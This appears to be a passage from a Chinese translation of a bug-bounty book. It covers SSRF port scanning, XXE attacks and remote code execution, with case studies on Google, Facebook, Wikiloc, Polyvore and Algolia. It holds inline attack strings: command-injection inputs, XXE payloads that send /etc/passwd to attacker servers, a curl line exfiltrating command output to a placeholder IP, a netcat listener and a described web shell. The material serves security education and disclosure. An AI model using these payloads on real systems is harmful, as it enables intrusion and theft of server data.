    {"text": "未知 10.7 使用Webhook进行内网端口扫描 难度： 低 URL： 未公布 报告位置： 未公布 报告日期： 2017年10月 支付奖金： 未公布 Webhook允许用户让一个网站在特定行为被触发时，发送请求到另一个远程站点。举例来说，一个电子商务网站可能允许用户设置一个Webhook，每当用户提交命令时，将发送购买信息到远程站点。Webhook允许用户设置远程站点的URL这一特点提供了SSRF的机会。但任意SSRF的影响都可能很有限，因为你既不能一直控制着请求，也不能始终访问响应。 2017年10月，我在测试一个网站的时候注意到我可以创建自定义Webhook：于是我填写了Webhook URL地址http://localhost来查看服务器是否会访问它自己。该站点声称这一URL不被允许，我就又试了http://127.0.0.1，该值也返回一个错误信息。我又尝试用其他各种方法访问127.0.0.1。网站 https://www.psyon.org/tools/ip_address_converter.php?ip=127.0.0.1/ 列出了几种可代换的IP地址，包括127.0.1、127.1，等等。这些看起来都能工作。 当我提交完报告之后，我意识到这一发现的严重程度根本不足以获得奖金。我只是证明了有能力绕过网站的localhost检查。想要拿到奖金，我必须证明我能够威胁到网站的基础设施或其他信息。 该站点还使用了Web集成功能，它允许用户从远程网站导入内容。通过创建一个自定义的Web集成，我能够提供一个返回站点XML结构的URL，并用它来解析和渲染我的账号页面。 一开始，我提交了127.0.0.1并希望站点能够暴露响应的信息。然而，站点返回错误500，内容显示为“无法连接”（Unable to connect）。这个错误信息看起来令人振奋，因为站点会把响应结果显示出来。我回到Web集成的配置文件中并提交了127.0.0.1:443，它表示要访问的服务器（IP地址和端口以冒号分割）。再一次，我得到错误500，即“无法连接”。端口换成8080也是同样的错误。然后，我试了端口22，它能连接到SSH服务。这次的错误是503，“无法获取全部头”（Could hot retrieve all headers）。 “无法获取全部头”是发送HTTP流到一个SSH协议端口时的响应。这一响应与错误500的响应不同，它意味着连接能被建立。我重新提交报告，以证明我能通过Web集成对公司内网服务器进行端口扫描，因为对于不同状态（打开、关闭、过滤）的端口进行请求，响应结果不同。 要点 如果你能通过提交URL来创建Webhook或能够控制导入远程站点的内容，那就试着指定端口。对不同端口请求的服务响应的微小差别能揭示出端口是处于打开、关闭还是过滤状态。此外，与服务器返回的消息不同，服务器对某端口的请求的响应时间，也会揭示出端口到底处于打开、关闭还是过滤状态。 未知 10.8 总结 当攻击者能够撬动一台服务器去执行非计划的网络请求时，就可能存在SSRF。但不是所有的请求都能被利用。例如，一个网站允许你创建请求去访问远程或本地的服务器，但这并不意味着严重风险。识别到能够创建非计划的请求只是发现这些漏洞的第一步。报告的关键是要证明这些行为的全部影响。本章的每一个例子中，那些站点都允许创建HTTP请求，但它们没有对其资产提供足够的保护以免于恶意用户的攻击。 未知 第11章 XML外部实体 攻击者可以利用应用程序解析XML（eXtensible Markup Language，可扩展标记语言）外部实体的漏洞。具体来说，这涉及应用程序怎样处理它的输入中的外部实体。你可以用XML外部实体（XXE）从服务器提取信息或者调用恶意服务器。"},
    {"text": "未知 11.1 XML 此漏洞利用XML中使用的外部实体。XML是一种元语言，被用来描述其他语言。它是针对HTML的缺点而开发的：HTML只能定义数据是如何显示的，XML则定义了数据的结构。 例如，HTML可以通过头开始标签<h1>和头结束标签</h1>（有些标签的结束标签是可选的）将文本格式化为标题。每个标签都可以有浏览器渲染网站时的一个预定义样式。例如，<h1>标签可以用14px字体将所有标题设置为粗体。类似地，<table>标签可以以行和列的形式显示数据，<p>标签定义了常规段落文本的样式。 相反，XML没有预定义的标签，你可以自己定义标签，并且这些标签不一定包含在XML文件中。例如，考虑下面的XML文件，它代表一个作业清单： 所有的标签都是作者定义的，因此不可能单从文件中得知数据在Web页面上的样式。第一行❶是声明头，表明文件使用XML 1.0版本以及使用Unicode编码类型。在头初始化完成之后，<Jobs>标签❷包裹了所有其他<Job>标签❸。每个<Job>标签包裹一个<Title>❹、<Compensation>❺和<Responsibility>❻标签。在HTML中，一个基本的XML标签由围绕标签名的两个尖括号组成。但与HTML中的标签不同，所有XML标签都需要一个结束标签。此外，每个XML标签可以有一个属性。例如，<Responsibility>标签名为Responsibility，带有一个由属性名fundamental和属性值1❻组成的可选属性。 11.1.1 文档类型定义 由于作者可以定义任何标签，所以一个有效的XML文档必须遵循一组通用的XML规则（这些超出了本书的范围，但是具有一个结束标签就是一个例子）和匹配的文档类型定义（DTD）。XML DTD是一组定义有哪些元素，它们可以有哪些属性，以及哪些元素被另一些元素包裹的声明（一个元素由开始和结束标签组成，因此，开头的<foo>是标签，结尾的</foo>也是标签，但是<foo> </foo>是一个元素）。XML文件可以使用外部DTD，也可以使用在XML文档中定义的内部DTD。 外部DTD 外部DTD是XML文档引用和获取的一个外部.dtd文件。下面是前述XML文档的外部DTD文件。 XML文档中的每一个元素都在DTD文件中使用关键字!ELEMENT定义。定义的Jobs表明它可以包含元素Job。星号表示Jobs可以包含一个或者多个Job元素。一个Job元素必须包含一个Title、Compensation和Responsibility❷。这些也是一个元素，只能包含用(#PCDATA)❸表示的可进行HTML解析的字符数据。数据定义(#PCDATA)告诉解析器在每个XML标签中将包含哪种类型的字符。最后，Responsibility有一个用!ATTLIST❹声明的属性，该属性被命名了❺，CDATA❻告诉解析器标签将仅包含不应解析的字符数据。Responsibility的默认值被定义为0❼。 外部DTD文件通过<!DOCTYPE>元素被定义在XML文档里： 在这里，我们用XML实体note❶定义一个<!DOCTYPE>。XML实体将在下一节中说明。目前我们只知道SYSTEM❷是一个用来告诉XML解析器获取jobs.dtd文件结果的一个关键字，并且在随后的XML文件中使用任意的note❶。 内部DTD 在XML文档内也可以包含DTD。为此，XML的第一行也必须是<!DOCTYPE>元素。通过使用内部DTD来结合XML文件和DTD,我们将得到一个类似下面的文档： 这里我们有一个刚才提到的内部DTD声明。注意，我们仍然以声明头开始，表明我们的文档遵循XML 1.0，且是UTF-8编码的❶。之后，我们定义XML遵循的!DOCTYPE，这次只需写出整个DTD文件而不是引用一个外部文件❷。XML文档的剩余部分遵循DTD声明❸。 11.1.2 XML实体 XML文档包含XML实体，就像信息的占位符一样。再次以<Jobs>为例，如果我们想让每一个Job包含一个我们网站的链接，每次重复去写那个地址是非常烦琐的，特别是在我们的URL可能会更改的情况下。相反，我们可以用一个实体，让解析器在解析的时候去获取URL,然后插入值到文档中。要创建一个实体，你需要在!ENTITY标签中声明一个占位符实体名字，以及放置在该占位符中的信息。在XML文档中，实体名以&前缀开头，以分号（;）结尾。访问XML文档时，占位符名称将替换为标签中声明的值。实体名称不仅可以用字符串替换占位符，还可以做更多的事情：它们还可以获取使用SYSTEM标签以及URL的网站或文件的内容。 我们可以更新XML文件以包含以下内容： 请注意，我已经添加了一个Website!ELEMENT，但我没有使用(#PCDATA)，而是用ANY❶。这个数据定义表示Website标签可以包含任何可解析的数据。我还用一个SYSTEM属性的实体告诉解析器通过Website标签的url占位符❷获取website.txt文件的内容。在❸处，我使用Website标签，并且会在&url;的位置获取website.txt的内容。注意实体名字前的&，每当你在XML文档中访问一个实体时，必须以&开头。"},
    {"text": "未知 11.2 XXE攻击如何发挥作用 在XXE攻击中，攻击者滥用一个目标应用程序，使其包括XML解析中的外部实体。换句话说，应用程序期望一些XML，但不验证它接收的是什么，它只是解析它接收的任何内容。例如，上一个示例中的Job部分可以让你通过XML来注册和上传Jobs。 Job部分可能会将其DTD文件提供给你，并假设你将提交一个符合要求的文件。代替检索website.txt中的!ENTITY，你可以从/etc/passwd文件中检索它。XML将会被解析，服务器端文件/etc/passwd内容将被包含在我们的内容中（在Linux系统中，/etc/passwd文件通常存储了所有的用户名和密码。尽管Linux系统现在将密码存储在/etc/shadow中，但读取/etc/passwd文件以证明漏洞的存在的行为依然很常见）。 你可以提交如下内容： 解析器接收此代码并识别定义一个foo文件类型的外部DTD❶。DTD告诉解析器foo可以包括任何可解析的数据❷；然后，一个实体xxe可以在文档被解析时读取我的/etc/passwd文件（file://表示/etc/passwd文件的完整URI路径）。解析器会用这些文件的内容来替换&xxe;元素❸。这就完成了用XML定义一个包含可以打印我的服务器信息的&xxe;的标签<foo>。这就是为什么XXE太危险了。 但是更进一步地思考：如果应用程序没有打印响应而只分析我的内容呢？如果敏感文件的内容从未返回给我，这个漏洞还会有用吗？好吧，你可以像这样联系一个恶意服务器，而不是解析一个本地的文件： 现在，解析XML文档时，callhome实体❷被调用www.<malicious>.com/?%xxe❸的内容替代。但是❸要求%xxe如❶中所定义。XML解析器读取/etc/passwd并将其作为参数添加到URL www.<malicous>.com/，从而将文件内容作为URL参数发送❸。因为你控制着服务器，所以检查你的日志，肯定能发现有/etc/passwd的内容。 你可能已经注意到在callhome URL的%xxe;中使用了%而不是&。当DTD文件中定义的实体需要被计算时就会使用%，而XML文件中的实体需要被计算时则使用&。 站点通过禁止外部实体解析来防止XXE漏洞。OWASP XML外部实体防止欺骗表（参考 https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet ）介绍了对于不同语言如何这样做。 未知 11.3 读取Google的访问权限 难度： 中 URL： https://google.com/gadgets/directory?synd=toolbar/ 报告位置： https://blog.detectify.com/2014/04/11/how-we-got-read-access-on-googles-production-servers/ 报告日期： 2014年4月 支付奖金： 10000美元 这个Google权限读取漏洞利用了Google工具栏的功能按钮库，它允许开发者上传自定义的包含元数据的XML文件。开发者可以搜索按钮库，Google会在搜索结果中显示按钮的描述。 根据Detectify团队的说法，当一个引用了外部实体的XML文件被上传到库中后，Google解析该文件，然后在按钮的搜索结果中呈现了它的内容。因此，团队使用XXE漏洞来呈现服务器的/etc/passwd文件内容。这至少表明用户可以利用XXE漏洞来读取内部文件。 要点 即使是大公司也会犯错。每当站点接受XML时，不管谁拥有这个站点，都总是要测试XXE漏洞。读取一个/etc/passwd文件是一个向公司演示漏洞的好方式。"},
    {"text": "未知 11.4 Facebook XXE Word漏洞 难度： 难 URL： https://facebook.com/careers/ 报告位置： 攻击安全博客 报告日期： 2014年4月 支付奖金： 6300美元 这个Facebook XXE比前面的例子更具挑战性，因为它涉及远程调用服务器。2013年末，Facebook修补了Reginaldo Silva发现的XXE漏洞。Silva马上向Facebook报告XXE并请求将其升级到远程代码执行漏洞（第12章中介绍的一种漏洞）。他相信远程代码执行是可能的，因为他可以读取服务器上的大多数文件并打开任意网络连接。Facebook调查后同意了，付给了他30000美元。 Mohamed Romadan在2014年4月挑战入侵Facebook时发现了这个。他没有想到会有一个XXE漏洞，直到他发现了Facebook的职业页面允许用户上传.docx文件。.docx文件类型只是XML文件的存档。Ramadan创建了一个.docx文件，用7-Zip打开并提取了它的内容，并插入以下有效的负载到XML中： 如果目标启用了外部实体，XML解析器将会计算%dtd;❸实体，它远程调用了Ramadan的服务器http://197.37.102.90/ext.dtd❷。该调用将返回ext.dtd文件的如下内容： 首先，%dtd;将会引用外部ext.dtd文件并使用%send;使实体可用❺。接下来，解析器将解析%send;❹，这将产生一个远程调用http://197.37.102.90/FACEBOOK-HACKED?%file;❺。%file;引用了/etc/passwd文件❶，因此其内容在HTTP请求❺中将会替换掉%file;。 调用远程IP来利用XXE并不总是必需的，不过在站点解析远程DTD时阻止读取本地文件的情况下很有用。这类似于服务器端请求伪造（SSRF），这在第10章中讨论过。在SSRF中，如果一个站点组织访问内部的地址，但是允许调用外部站点并随着301重定向到内部站点地址，也可以得到类似的结果。 接着Ramadan在他的服务器上使用Python和SimpleHTTPServer启动了一个HTTP服务器端来接收调用和内容： ❶处是启动Python SimpleHTTPServer的命令，它返回了消息“Serving HTTP on 0.0.0.0 port 80...”❷。终端处于等待状态，直到接收到HTTP请求。起初，Ramadan并没有收到响应，但他一直等，直到收到一个检索/ext.dtd文件的远程调用（在❸处）。不出所料，他看到了对于服务器/FACEBOOK-HACKED?的回调（❹处），但不幸的是没有追加/etc/passwd文件的内容。这意味着Ramadan不能利用这个漏洞读取本地文件或者/etc/passwd文件不存在。 在我继续这个报告之前，我要补充一点，Ramadan已经提交了一个没有远程调用服务器的文件，而只是试图读取本地文件。但是，如果对远程DTD文件的初始调用成功，则会显示XXE漏洞，而读取本地文件的尝试失败时则不会。在这种情况下，因为Ramadan从Facebook录制了对服务器的HTTP调用，他可以证明Facebook正在解析远程XML实体，甚至存在一个漏洞，尽管他不能访问/etc/passwd。 当Ramadan报告了这个错误时，Facebook回复说需要一个视频证明，因为它们无法复现上传的内容。Ramadan提供了视频之后，Facebook拒绝了提交，然后建议一个招聘人员点击了一个链接，这个链接向他的服务器发起了请求。之后在交换了几封邮件后，Facebook团队又进行了一些调查来证实这一漏洞存在并授予了他奖金。不像最初在2013年发现的XXE，Ramadan的XXE不能升级到远程代码执行，因此Facebook奖励了一笔较少的奖金。 要点 这里有两个发现。XML文件有不同的形式和大小：注意那些接受.docx、.xlsx、.pptx以及其他XML文件类型的站点，因为可能有定制的应用程序去解析文件的XML。起初，Facebook认为一名员工点击了连接到Ramadan服务器的链接，这不算是SSRF，但经过进一步的调查，Facebook确认了这一请求是通过不同的方法来调用的。 正如你在其他例子中看到的，有时报告最初是被拒绝的。重要的是要有信心并继续和你要报告的公司一起确认漏洞是否有效。要勇于解释为什么有些东西可能是脆弱的或者比公司初步的评估要严重。"},
    {"text": "未知 11.5 Wikiloc XXE 难度： 难 URL： https://wikiloc.com/ 报告位置： https://www.davidsopas.com/wikiloc-xxe-vulnerability/ 报告日期： 2015年10月 支付奖金： 未公布 Wikiloc是一个网站，用于发现和分享徒步旅行、骑行等活动的最佳户外运动轨迹，也允许用户上传自己的XML轨迹文件，这对像David Sopas这样的骑行迷来说是非常诱人的。 Sopas注册了Wikiloc，在注意到XML上传后，他决定测试一下XXE漏洞。首先，他下载了一个文件以确定Wikiloc的XML结构，在本例中是一个.gpx文件。然后他修改了文件并上传。以下是他修改的文件： 在❶处，他添加了一个外部实体定义作为文件的第一行。在❷处，他用.gpx文件中的轨迹名调用那个实体。 将文件上传到Wikiloc引发了一个指向Sopas的服务器的HTTP GET请求。这里有两个值得注意的因素。第一，他用一个简单的概念调用验证来确认服务器在计算他注入的XML文件，并且服务器会产生外部调用。第二，Sopas利用了现有的XML文档，因此他的内容符合站点期望的结构。 在Sopas确认Wikiloc会产生外部HTTP请求之后，唯一的问题就是它是否会读取本地文件。因此，他修改了他注入的XML，让Wikiloc将其/etc/issue文件内容发送给他（/etc/issue文件将会返回使用的操作系统）： 这段代码看起来应该很熟悉。他在❶和❷处用到了用%定义的两个实体，这样它们在DTD中就会被计算。在❸处他取回xxe.dtd文件。❹处标签中的&send;引用通过他从对他的服务器❷的远程调用提供给Wikiloc的xxe.dtd文件，下面是xxe.dtd文件： 这里❺处的% all定义了❹处发送的实体。Sopas的执行情况与Ramadan对Facebook执行的方法类似，但有一些细微的不同：Sopas试图确认XXE可以在被包含的所有地方执行。这就是为什么他在定义了内部DTD之后马上调用%dtd;❸，并在定义了外部DTD之后立即调用%all❻。代码的执行是在站点的后端进行的，所以你可能不知道漏洞是如何执行的。但是解析的过程可能如下所示： 1）Wikiloc解析XML并计算%dtd;作为对Sopas的服务器的外部调用。然后Wikiloc请求Sopas的服务器上的xxe.dtd文件。 2）Sopas的服务器返回xxe.dtd文件给Wikiloc。 3）Wikiloc解析收到的DTD文件，从而触发了对%all的调用。 4）当计算%all时，它定义了&send;，这包含了一个对%file实体的调用。 5）在调用URL时，%file的值被替换为/etc/issue文件的内容。 6）Wikiloc解析XML文档。这解析了%send;实体，这个计算过程产生了对Sopas的服务器的远程调用，并将/etc/issue文件的内容作为参数包含在URL中。 用他自己的话说，游戏结束了。 要点 这是一个说明“如何利用网站的XML模板去嵌入你自己的实体，以便目标解析文件”的很好的例子。在这种情况下，Wikiloc期望有一个.gpx文件，而Sopas保留了这个结构，在期望的标签中插入了他自己的XML实体。另外，看到自己可以用一个DTD文件来让目标将文件作为URL的参数对你的服务器发起HTTP GET请求是有趣的。这是一个提取数据的简单方法，因为GET的参数将会被你的服务器日志记录下来。 未知 11.6 总结 一个XXE代表一个具有巨大潜力的攻击媒介。实现XXE攻击的几种方式如下：让易受攻击的应用程序打印它的/etc/passwd文件，使用/etc/passwd文件的内容调用远程服务器，并调用一个远程DTD文件，该文件指示解析器回调到带有/etc/passwd文件的服务器。 注意文件上传，尤其是那些XML形式的文件。你应该始终测试它们是否存在XXE漏洞。 未知 第12章 远程代码执行 当用户控制系统输入且没有采取任何安全措施的情况下，易发生远程代码执行（RCE）漏洞；RCE典型的实现方式分为两种： ●执行Shell命令。 ●通过在用户使用和依赖的编程语言中执行函数。"},
    {"text": "未知 12.1 执行Shell命令 在应用程序没有做任何安全措施的情况下可通过Shell命令执行RCE，且Shell允许命令行访问操作系统的服务。举个例子，利用www.<example>.com网站来ping远程服务器可以确认该服务器是否可用。 用户可以通过在www.example.com?domain=的域名参数中提供一个域名来触发RCE，该站点的PHP处理过程如下： 访问www.<example>.com?domain=google.com时，google.com的值将在❶处赋值给变量$domain，然后直接将变量传入shell_exec函数，作为❷处ping命令的一个参数。shell_exec函数执行Shell命令并返回完整的命令输出字符串。命令的输出如下所示： 以上响应的结果并不重要，如果Shell没有做任何安全措施，则$domain变量值被直接传递给shell_exec命令。在bash（它是一种流行的Shell）中，可以使用分号将多个命令连接在一起，因此攻击者可以访问URL www.<example>.com?domain=google.com;id，然后shell_exec函数将执行ping和id命令。id命令将输出当前用户在服务器上操作的信息。例如，输出可能如下所示： 服务器执行两个命令，因此随着id命令的输出，ping的响应结果将输出❶处的内容。id命令的输出如❷处所示，网站以用户名为yaworsk，用户uid=1000（uid属于gid且组名为yaworsk，gid=1000）运行在应用程序服务器上。 yaworsk用户权限的大小决定了这个RCE漏洞的严重性。在本例中，攻击者可以使用cat FILENAME（其中FILENAME是要读取的文件）将文件内容写入某个目录。如果站点使用了数据库，攻击者很可能也会把数据库中的数据写入文件。 如果站点没有做安全措施，且信任用户控制的输入，则会发生这种RCE漏洞。解决这个漏洞的方法很简单。在PHP中，网站开发人员可以使用escapeshellcmd，它可以转义任何可能导致shell执行任意命令的字符串中的字符。因此，URL参数中附加的任何命令都将被转义。这意味着google.com\\;id会被传给ping命令，导致错误ping:google.com;id:名称或服务未知。 尽管特殊字符将被转义以避免执附加的任意命令，但是escapeshellcmd不会阻止传递命令行标志（flag）。flag是可以改变命令行为的可选参数。例如，-o是一个普通的标志，用来定义命令生成输出时要写入的文件。传递flag可以改变命令的行为并很可能导致RCE漏洞。基于以上原因，阻止RCE漏洞可能很棘手。 未知 12.2 执行函数 还可以通过执行函数来执行RCE。例如，如果www.<example>.com允许用户通过URL创建、查看和编辑博客文章，像www.<example>.com?id=1&action=view，执行这些操作的代码可能如下所示： 这里的网站使用PHP函数call_user_func❷，它的第一个参数为要执行的函数名称，其余参数作为要执行的函数的参数。在本例中，应用程序将调用action变量的数据函数❶，且把1传递给函数。这个命令可能会显示第一篇博客文章。 如果恶意用户访问URL www.<example>.com?id=/etc/passwd&action=file_get_contents，这段代码为： 将file_get_contents作为action的参数调用PHP函数，将文件的内容读入字符串。在本例中，/etc/passwd文件作为id参数传递，然后将/etc/passwd作为参数传到file_get_contents便可读取文件内容。攻击者可以使用此漏洞读取整个应用程序的源代码，获取数据库凭据，在服务器上写入文件，等等。除了显示第一篇博客文章外，还输出如下内容： 如果传递给action参数的函数没有做特殊处理，攻击者还可能使用PHP调用shell命令函数，如shell_exec、exec、system等。"},
    {"text": "未知 12.3 远程调用的升级策略 这两种RCE都能引起不同的效果。当攻击者可以执行任何编程语言函数时，它们可能会逐步升级执行shell命令的安全隐患。执行shell命令通常更致命，因为攻击者可能危及整个服务器而不仅仅是应用程序。漏洞的危害程度取决于服务器用户的权限，或者攻击者是否可以利用他人的权限漏洞来提升用户的特权，这通常称为本地特权升级（LPE）。 对LPE的完整解释超出了本书的范围，你只要知道LPE通常是通过利用内核漏洞、以根用户身份运行的服务以及设置了用户ID（SUID）权限的可执行文件而发生的。内核是计算机的操作系统。利用内核漏洞可以允许一个攻击者提升他们的权限来执行他们之前没有权限的操作。在攻击者无法利用内核漏洞时，他们可以尝试利用以root用户运行的服务。通常，服务不应该以root身份运行；此漏洞通常发生在管理员忽视安全，以root用户启动的服务中。如果管理员被攻击，攻击者可以访问正在以root身份运行的服务，服务运行的任何命令都将提升用户权限。最后，攻击者可以利用SUID，允许执行特定用户具有的权限文件。尽管为了增强安全性，如果配置不当，它可能允许攻击者执行具有更高权限的命令，类似于以root用户运行的服务。 鉴于网站的操作系统、服务器软件、编程语言、系统框架等不同，我们无法详尽地列举每个可注入函数或可执行shell命令的方法，但存在一些不用看应用程序源码就可以发现潜在RCE线索的模式。在第一个示例中，一个危险标志是站点执行ping命令，这是系统级的命令。在第二个示例中，action参数是一个危险标志，因为它允许控制在服务器上运行的函数。当你寻找这些类型的线索时，请查看传递的参数和值。你可以通过传递系统操作或如分号、反引号等特殊命令行字符到参数中来轻松地测试这种类型的行为。 出现应用程序级RCE的另一个常见原因是服务器在访问时执行了不受限制的上传文件。例如，如果一个PHP网站允许上传文件到工作空间，但不限制文件类型，则可以上传一个PHP文件并访问它。因为服务器无法区分上传的恶意PHP应用程序文件和合法PHP应用程序文件，因此，文件都会被解释成PHP，且会执行PHP程序文件。下面是一个允许执行PHP函数的文件示例，由URL参数super_secret_web_param定义： 如果你上传这个文件到www.<example>.com并通过www.<example>.com/files/shell.php访问，则可以通过给函数添加参数的方式执行系统命令，例如?super_secret_web_param='ls'。这样做将输出文件目录的内容。因此，在测试这种类型的漏洞时需要非常小心。并非所有的赏金项目都希望在它们的服务器上执行自己的代码。如果你上传了一个像这样的shell，一定要删除它，以防止被其他人发现或恶意利用。 更复杂的RCE往往是细致入微的应用程序的结果行为或编程错误。事实上，这些例子在第8章中已讨论过。Orange Tsai的Uber Flask Jinja2模板注入就是一个RCE，允许使用Flask模板语言执行自己的Python函数。我的Unikrn Smarty模板注入允许我利用Smarty框架来执行PHP函数，包括file_get_contents。考虑到RCE的多样性，这里我们将更多地关注经典的案例，而非在以前章节中已描述的案例。"},
    {"text": "未知 12.4 Polyvore ImageMagick漏洞 难度： 中 URL： Polyvore.com (Yahoo! acquisition) 报告位置： http://nahamsec.com/exploiting-imagemagick-on-yahoo/ 报告日期： 2016年5月5日 支付奖金： 2000美元 查看被广泛使用的软件的漏洞库可以有效地发现使用该软件的站点中的bug。ImageMagick是一个处理图像的通用图形库，在大多数（如果不是全部）主要编程语言中已实现。这意味着ImageMagick库中的RCE可能在依赖它的网站上产生毁灭性的影响。 2016年4月，ImageMagick的维护人员公布了修复关键漏洞的库更新。更新显示ImageMagick对各种输入没有做多种方式的安全控制。最危险的是，这将导致通过ImageMagick的delegate功能生成RCE漏洞，并使用外部库处理文件。下面的代码通过传递一个用户控制的域名到system()命令的占位符%M来实现这一点： 这个值在使用前并未做安全控制，因此当传递参数https://example.com\";|ls\"-la时，上述命令具体如下所示： 在前面的RCE示例中，ping的时候会执行额外的命令，而以上代码将一个额外的命令行函数使用分号链接到预期功能后。 通过外部文件引用的图像文件类型，delegate功能可能会被滥用。示例包括SVG和ImageMagickdefined文件类型MVG。当ImageMagick处理图像时，它会尝试根据文件的内容而不是扩展名猜测文件的类型。例如，如果开发人员允许他们的应用程序只接受以.jpg结尾的用户提交的图片，那么攻击者可以通过将.mvg文件重命名为.jpg来绕过安全控制。应用程序相信文件是安全的.jpg，但是ImageMagick能基于文件内容正确识别文件类型是MVG。这将允许攻击者滥用ImageMagick RCE漏洞。可用来滥用这个ImageMagick漏洞的文件的案例在 https://imagetragick.com/ 上。 这个漏洞被公开后，网站就有机会更新它们的代码来修复漏洞，Ben Sadeghipour利用ImageMagick未修补版本做过实验。第一步，Sadeghipour重建了这个漏洞以便确认在他自己的服务器上有一个正在运行的恶意文件。他选择使用来自https://imagetragick.com/的示例MVG文件，除此之外也可以轻松地使用其他SVG文件，因为两者都引用了易触发ImageMagick delegate功能漏洞的外部文件。具体代码如下： 这个文件的重要组成部分是❶处，包括恶意输入。让我们分解一下。漏洞的第一部分是https://127.0.0.1/x.php?x=。这是ImageMagick远程URL的期望委托行为，且Sadeghipour在URL后面加上“id”的参数。在命令行中反引号（`）表示shell在主函数执行之前应先处理反引号中的输入。这确保了Sadeghipour的有效负载（之后描述）立即执行。 管道（|）将一个命令的输出传递给下一个命令。在这种情况下，id的输出被传递到curl http://SOMEIPADDRESS:8080/-d @-。cURL发出远程HTTP请求，在本例中将访问端口为8080，IP为Sadeghipour的IP地址。-d表示cURL以POST请求发送数据。@表示cURL将使用接收到的不进行任何处理的数据作为输入。连字符(-)表示将使用标准输入。当所有这些语法与管道(|)结合在一起时，id命令的输出结果将传递给cURL作为POST请求不做任何处理的body部分。最后，>/dev/null代码将删除任何命令的输出，因此将不会向易受攻击的服务器输出任何终端内容。这将有助于防止目标服务器的安全被攻破。 在上传文件之前，Sadeghipour启动了一个服务器并使用Netcat来监听HTTP请求。Netcat是一个可以对连接读取和写入数据的网络工具。运行命令nc -l -n -vv -p 8080，可使Sadeghipour将POST请求记录到服务器。-l标志表示启用监听模式（来接收请求），-n表示阻止DNS查找，-vv表示启用详细日志，-p 8080用于定义使用的端口。 Sadeghipour为了在雅虎网站测试有效负载，首先在网站中上传了一个图片文件，Sadeghipour接收到如下POST请求，body中包含在Polyvore服务器上执行的id命令的结果。 这个请求意味着Sadeghipour的MVG文件已经被正常执行，导致有漏洞的网站执行id命令。 要点 从Sadeghipour测试的漏洞中，我们有两个有益的收获。第一，意识到暴露的漏洞为你提供了测试新代码的机会。如果你正在测试大型库，还要确保你所测试的网站的公司正确管理它们的安全更新。有些项目会要求在公开的给定时间范围内不要报道未打补丁的更新，但在那之后你可以自由地报告这个漏洞。第二，在自己的服务器中再现漏洞是一个很好的学习机会。它确保有效负载在你为了获得漏洞奖金而试图实现它们时仍然有效。"},
    {"text": "未知 12.5 Algolia RCE漏洞 难度： 高 URL： facebooksearch.algolia.com 报告位置： https://hackerone.com/reports/134321/ 报告日期： 2016年4月25日 支付奖金： 500美元 适当的侦查是黑客攻击的重要组成部分。2016年4月25日，Michiel Prins（HackerOne的联合创始人）使用Gitrob工具在algolia.com上进行侦察。这个工具需要一个初始的GitHub库，以个人或者组织为种子，爬虫工具可以爬取个人连接的所有GitHub库。在找到所有GitHub库后，它将基于关键字查找敏感信息文件，如密码、机密、数据库等。 通过使用Gitrob，Prins发现Algolia公开地将一个Ruby on Rails的secret_key_base值提交到一个公共存储库。secret_key_base帮助Rails防止攻击者操纵签名的cookie，并且它被隐藏且永远不会被共享。通常，该值由环境变量ENV['SECRET_KEY_BASE']替换，只有服务器可以读取该变量。当Rails站点使用cookiestore在cookie中存储会话信息时，使用secret_key_base尤其重要。因为Algolia将值提交给了一个公共存储库，所以secret_key_base值在https://github.com/algolia/facebook-search/commit/f3adccb5532898f8088f90eb57cf991e2d499b49#diff-afe98573d9aad940bb0f531ea55734f8R12/中仍然可见，但已无效。 当Rails对一个cookie签名时，它会在该cookie的base64编码值上附加一个签名。例如，一个cookie和它的签名可能是这样的：BAh7B0kiD3Nlc3Npb25faWQGOdxM3M9BjsARg%3D%3D--dc40a55cd52fe32bb3b8。Rails在双破折号之后检查签名，以确保cookie没有被更改。当Rails使用cookiestore时，这一点很重要，因为Rails默认使用cookie及其签名来管理网站会话。用户的信息也可以添加到cookie中，当cookie通过HTTP请求提交时，服务器就可以读取用户信息。因为cookie保存在个人的计算机上，所以Rails会在cookie上签名以确保它没有被篡改。如何读取cookie也很重要，Rails cookiestore序列化和反序列化信息也存储在cookie中。 在计算机科学中，序列化是将一个对象或数据转换为一种状态的过程，这种状态允许对象或数据被传输和重建。在这种情况下，Rails将会话信息转换为一种格式，这种格式可以存储在cookie中，并当用户在下一个HTTP请求期间提交cookie时重新读取。cookie序列化之后，需要通过反序列化读取cookie。反序列化的过程很复杂，超出了本书的范围，但它经常会导致RCE传递不可信的数据。 想要学习更多反序列化，请研究以下资源： 1）Matthias Kaiser的“利用Java反序列化漏洞”（Exploiting Deserialization Vulnerabilities in Java）：https://www.youtube.com/watch?v=VviY3O-euVQ/。 2）Alvaro Muñoz和Alexandr Mirosh的“星期五的第13次JSON攻击”（Friday the 13th JSON attacks）：https://www.youtube.com/watch?v=ZBfBYoK_Wr0/)。 知道了Rails的秘密，意味着Prins可以创建自己的有效序列化对象，并将它们发送到需要通过cookie进行反序列化的站点。如果站点比较脆弱，反序列化将会导致RCE漏洞。 Prins使用了一个名为Rails的秘密反序列化的Metasploit框架来将这个漏洞升级为RCE。Metasploit利用RCE创建一个cookie，如果成功反序列化，该cookie将反向调用shell。Prins将恶意cookie发送到Algolia，从而在服务器上启用了一个shell。作为概念验证，他运行命令id，该命令返回uid=1000(prod) gid=1000(prod) groups=1000(prod)。他还在服务器上创建了hackerone.txt文件来证明这个漏洞。 要点 在这种情况下，Prins使用自动化工具从公共存储库中获取敏感信息。同样，还可以发现任何使用可疑关键字的库，这些关键字可能有助于发现点漏洞。利用反序列化漏洞可能非常复杂，但是有一些自动化工具可以轻易实现。例如，对于早期版本的Rails和ysoserial，可以使用由Chris Frohoff维护的RAPID7的Rails Secret反序列化来解决Java反序列化漏洞。"},
